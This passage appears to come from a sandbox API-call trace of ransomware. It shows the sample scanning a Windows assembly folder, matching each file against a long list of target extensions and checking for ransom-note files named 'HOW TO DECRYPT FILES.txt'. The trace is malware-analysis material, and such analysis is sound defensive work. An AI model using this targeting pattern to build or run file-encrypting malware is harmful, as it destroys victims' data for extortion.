(pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.ods") returned 0 [0100.698] lstrlenA (lpString="*.ods") returned 5 [0100.698] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.wav") returned 0 [0100.698] lstrlenA (lpString="*.wav") returned 5 [0100.698] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.mp3") returned 0 [0100.698] lstrlenA (lpString="*.mp3") returned 5 [0100.698] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.aiff") returned 0 [0100.698] lstrlenA (lpString="*.aiff") returned 6 [0100.698] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.flac") returned 0 [0100.698] lstrlenA (lpString="*.flac") returned 6 [0100.698] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.m4a") returned 0 [0100.698] lstrlenA (lpString="*.m4a") returned 5 [0100.698] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config", pszSpec="*.csv") returned 0 [0100.698] lstrlenA (lpString="*.csv") returned 5 [0100.698] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ff7a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ff7a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ff7a90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.11.0.Microsoft.Office.Interop.Access.dll", cAlternateFileName="POLICY~1.DLL")) returned 1 [0100.699] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0100.699] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.11.0.Microsoft.Office.Interop.Access.dll") returned -1 [0100.699] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.11.0.Microsoft.Office.Interop.Access.dll") returned -1 [0100.699] lstrcmpiA (lpString1="", lpString2="Policy.11.0.Microsoft.Office.Interop.Access.dll") returned -1 [0100.699] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.config") returned="Policy.11.0.Microsoft.Office.Interop.Access.config" [0100.699] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\" [0100.699] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\") returned="" [0100.699] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0100.699] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.access\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0x20 [0100.699] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\", lpString2="Policy.11.0.Microsoft.Office.Interop.Access.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll" [0100.699] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.ems") returned 0 [0100.699] lstrlenA (lpString="*.ems") returned 5 [0100.699] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.db") returned 0 [0100.699] lstrlenA (lpString="*.db") returned 4 [0100.699] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.dbf") returned 0 [0100.699] lstrlenA (lpString="*.dbf") returned 5 [0100.699] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.myox") returned 0 [0100.699] lstrlenA (lpString="*.myox") returned 6 [0100.699] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.myo") returned 0 [0100.699] lstrlenA (lpString="*.myo") returned 5 [0100.699] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.qbw") returned 0 [0100.700] lstrlenA (lpString="*.qbw") returned 5 [0100.700] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.qbb") returned 0 [0100.700] lstrlenA (lpString="*.qbb") returned 5 [0100.700] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.qbm") returned 0 [0100.700] lstrlenA (lpString="*.qbm") returned 5 [0100.700] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.qbo") returned 0 [0100.700] lstrlenA (lpString="*.qbo") returned 5 [0100.700] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.qbx") returned 0 [0100.700] lstrlenA (lpString="*.qbx") returned 5 [0100.700] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.qba") returned 0 [0100.700] lstrlenA (lpString="*.qba") returned 5 [0100.700] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.qby") returned 0 [0100.700] lstrlenA (lpString="*.qby") returned 5 [0100.700] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.qbj") returned 0 [0100.700] lstrlenA (lpString="*.qbj") returned 5 [0100.700] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.ofx") returned 0 [0100.700] lstrlenA (lpString="*.ofx") returned 5 [0100.700] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.qif") returned 0 [0100.700] lstrlenA (lpString="*.qif") returned 5 [0100.700] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.mye") returned 0 [0100.700] lstrlenA (lpString="*.mye") returned 5 [0100.700] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.mbox") returned 0 [0100.700] lstrlenA (lpString="*.mbox") returned 6 [0100.700] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.eml") returned 0 [0100.701] lstrlenA (lpString="*.eml") returned 5 [0100.701] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.pst") returned 0 [0100.701] lstrlenA (lpString="*.pst") returned 5 [0100.701] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.ost") returned 0 [0100.701] lstrlenA (lpString="*.ost") returned 5 [0100.701] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.idx") returned 0 [0100.701] lstrlenA (lpString="*.idx") returned 5 [0100.701] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.dbx") returned 0 [0100.701] lstrlenA (lpString="*.dbx") returned 5 [0100.701] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.sql") returned 0 [0100.701] lstrlenA (lpString="*.sql") returned 5 [0100.701] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.mdb") returned 0 [0100.701] lstrlenA (lpString="*.mdb") returned 5 [0100.701] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.fdb") returned 0 [0100.701] lstrlenA (lpString="*.fdb") returned 5 [0100.701] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.wab") returned 0 [0100.701] lstrlenA (lpString="*.wab") returned 5 [0100.701] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.dat") returned 0 [0100.701] lstrlenA (lpString="*.dat") returned 5 [0100.702] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.txt") returned 0 [0100.702] lstrlenA (lpString="*.txt") returned 5 [0100.702] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.jpeg") returned 0 [0100.702] lstrlenA (lpString="*.jpeg") returned 6 [0100.702] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.jpg") returned 0 [0100.702] lstrlenA (lpString="*.jpg") returned 5 [0100.702] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.png") returned 0 [0100.702] lstrlenA (lpString="*.png") returned 5 [0100.702] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.php") returned 0 [0100.702] lstrlenA (lpString="*.php") returned 5 [0100.702] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.cs") returned 0 [0100.702] lstrlenA (lpString="*.cs") returned 4 [0100.702] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.cpp") returned 0 [0100.702] lstrlenA (lpString="*.cpp") returned 5 [0100.702] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.rar") returned 0 [0100.703] lstrlenA (lpString="*.rar") returned 5 [0100.703] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.zip") returned 0 [0100.703] lstrlenA (lpString="*.zip") returned 5 [0100.703] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.html") returned 0 [0100.703] lstrlenA (lpString="*.html") returned 6 [0100.703] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.htm") returned 0 [0100.703] lstrlenA (lpString="*.htm") returned 5 [0100.703] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.xlsx") returned 0 [0100.703] lstrlenA (lpString="*.xlsx") returned 6 [0100.703] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.xls") returned 0 [0100.703] lstrlenA (lpString="*.xls") returned 5 [0100.703] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.mp4") returned 0 [0100.703] lstrlenA (lpString="*.mp4") returned 5 [0100.703] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.ppt") returned 0 [0100.704] lstrlenA (lpString="*.ppt") returned 5 [0100.704] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.pptx") returned 0 [0100.704] lstrlenA (lpString="*.pptx") returned 6 [0100.704] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.doc") returned 0 [0100.704] lstrlenA (lpString="*.doc") returned 5 [0100.704] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.dot") returned 0 [0100.704] lstrlenA (lpString="*.dot") returned 5 [0100.704] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.docx") returned 0 [0100.704] lstrlenA (lpString="*.docx") returned 6 [0100.704] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.7z") returned 0 [0100.704] lstrlenA (lpString="*.7z") returned 4 [0100.704] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.tar") returned 0 [0100.704] lstrlenA (lpString="*.tar") returned 5 [0100.704] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.bz2") returned 0 [0100.704] lstrlenA (lpString="*.bz2") returned 5 [0100.705] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.gz") returned 0 [0100.705] lstrlenA (lpString="*.gz") returned 4 [0100.705] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.mkv") returned 0 [0100.705] lstrlenA (lpString="*.mkv") returned 5 [0100.705] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.eml") returned 0 [0100.705] lstrlenA (lpString="*.eml") returned 5 [0100.705] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.msg") returned 0 [0100.705] lstrlenA (lpString="*.msg") returned 5 [0100.705] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.edb") returned 0 [0100.705] lstrlenA (lpString="*.edb") returned 5 [0100.705] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.accdb") returned 0 [0100.705] lstrlenA (lpString="*.accdb") returned 7 [0100.705] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.odb") returned 0 [0100.705] lstrlenA (lpString="*.odb") returned 5 [0100.705] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.java") returned 0 [0100.706] lstrlenA (lpString="*.java") returned 6 [0100.706] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.asm") returned 0 [0100.706] lstrlenA (lpString="*.asm") returned 5 [0100.706] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.pfx") returned 0 [0100.706] lstrlenA (lpString="*.pfx") returned 5 [0100.706] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.pem") returned 0 [0100.706] lstrlenA (lpString="*.pem") returned 5 [0100.706] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.p12") returned 0 [0100.706] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.gpg") returned 0 [0100.706] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.vsd") returned 0 [0100.707] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.odg") returned 0 [0100.707] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.raw") returned 0 [0100.707] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.nef") returned 0 [0100.707] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.svg") returned 0 [0100.707] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.psd") returned 0 [0100.707] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.vmx") returned 0 [0100.707] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.vmdk") returned 0 [0100.707] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.vdi") returned 0 [0100.708] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.lay6") returned 0 [0100.708] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.mpeg") returned 0 [0100.708] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.djvu") returned 0 [0100.708] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.tiff") returned 0 [0100.708] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Access.dll", pszSpec="*.backup") returned 0 [0100.708] PathMatchSpecA 